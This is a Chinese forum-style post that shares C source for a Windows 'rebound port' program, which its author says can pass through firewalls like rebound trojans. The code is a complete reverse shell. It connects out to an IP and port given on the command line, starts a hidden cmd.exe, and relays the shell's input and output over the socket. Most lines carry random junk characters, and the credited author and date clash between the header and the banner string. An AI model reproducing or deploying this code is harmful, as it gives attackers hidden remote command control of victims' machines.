Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 +n0y/
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/* ============================== l-mUc1.S  
Rebound port in Windows NT q3;HfZ  
By wind,2006/7 V7&L+]!  
===============================*/ G~_dSa@g G  
#include JsH9IK:  
#include JeO(sj$e  
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#pragma comment(lib,"wsock32.lib") n>@(gDq
  
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void OutputShell(); 0uZHH  
SOCKET sClient; Di&tm1R1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2sXWeiJy;  
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void main(int argc,char **argv) A5z`3T;1  
{ <EE)d@%>v  
WSADATA stWsaData; %9M_*]  
int nRet; FuD$jsEw  
SOCKADDR_IN stSaiClient,stSaiServer; kweypIB  
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if(argc != 3) <$UY{"?  
{ O|8p #  
printf("Useage:\n\rRebound DestIP DestPort\n"); `=FfzL  
return; X&K1>dgWP  
} $FD0MrB_+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); !#>{..}}3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x1TB (^aX  
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stSaiClient.sin_family = AF_INET; <%|2yPb]  
stSaiClient.sin_port = htons(0); ~*H!zKIx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :HwB+Bjy  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^Zg"`&E  
{ xY@V.  
printf("Bind Socket Failed!\n"); ,3x
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return; h'wI/Z_'  
} %POoyH@D}  
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stSaiServer.sin_family = AF_INET; fu33wz1$}B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "*?^'(yA@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 65g\WB+/  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f 1]1ZOb  
{ }VyDX14j  
printf("Connect Error!"); 3]V"9+  
return; Uc6P@O*,  
} <zrGPwk  
OutputShell(); UE*M\r<  
} hH%@8'1v  
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void OutputShell() 6VIi nuOW  
{ mI}1si=$  
char szBuff[1024]; @<l7"y;\  
SECURITY_ATTRIBUTES stSecurityAttributes; INi(G-!g  
OSVERSIONINFO stOsversionInfo; /-1[}h%U'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rIy,gZr.U  
STARTUPINFO stStartupInfo; - wCfw
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char *szShell;
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PROCESS_INFORMATION stProcessInformation; $O=m/l$  
unsigned long lBytesRead; ^hLAMaR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yyG:Kl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .%.J Q  
stSecurityAttributes.lpSecurityDescriptor = 0; iE>T5XV8$B  
stSecurityAttributes.bInheritHandle = TRUE; TTu<~GH  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fmFh.m.+N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fsb_*sh&  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d/N&bTg:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3y<;fdS7  
stStartupInfo.wShowWindow = SW_HIDE; 6f(K'v  
stStartupInfo.hStdInput = hReadPipe; xV}-[W5sr'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6o!+E@V b  
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GetVersionEx(&stOsversionInfo); "1yXOy^2  
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switch(stOsversionInfo.dwPlatformId) J1KV?aR  
{ rISg`
-  
case 1: p78X,44xg  
szShell = "command.com"; *+rO3% ;t  
break; gWL'Fl}H  
default: ]+Ik/+Nz  
szShell = "cmd.exe"; N8_ c%6GE  
break; rK7m(  
} 4:WN-[xX  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4At{(fwW  
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send(sClient,szMsg,77,0); t&*X~(Yb!  
while(1) -YPUrU[)  
{ :/A3l=}iV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EA) K"C  
if(lBytesRead) B=8],_  
{ +O8rjVg)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `2
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send(sClient,szBuff,lBytesRead,0); krnxM7y  
} _vr>-:G  
else ;Hk{bz
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{ E>NRC\^@  
lBytesRead=recv(sClient,szBuff,1024,0); kLtm_  
if(lBytesRead<=0) break; 3\JEp,5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Xt& rYv  
} dn!#c=  
} ]rY:C "#  
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return; jbZ%Y0km%  
}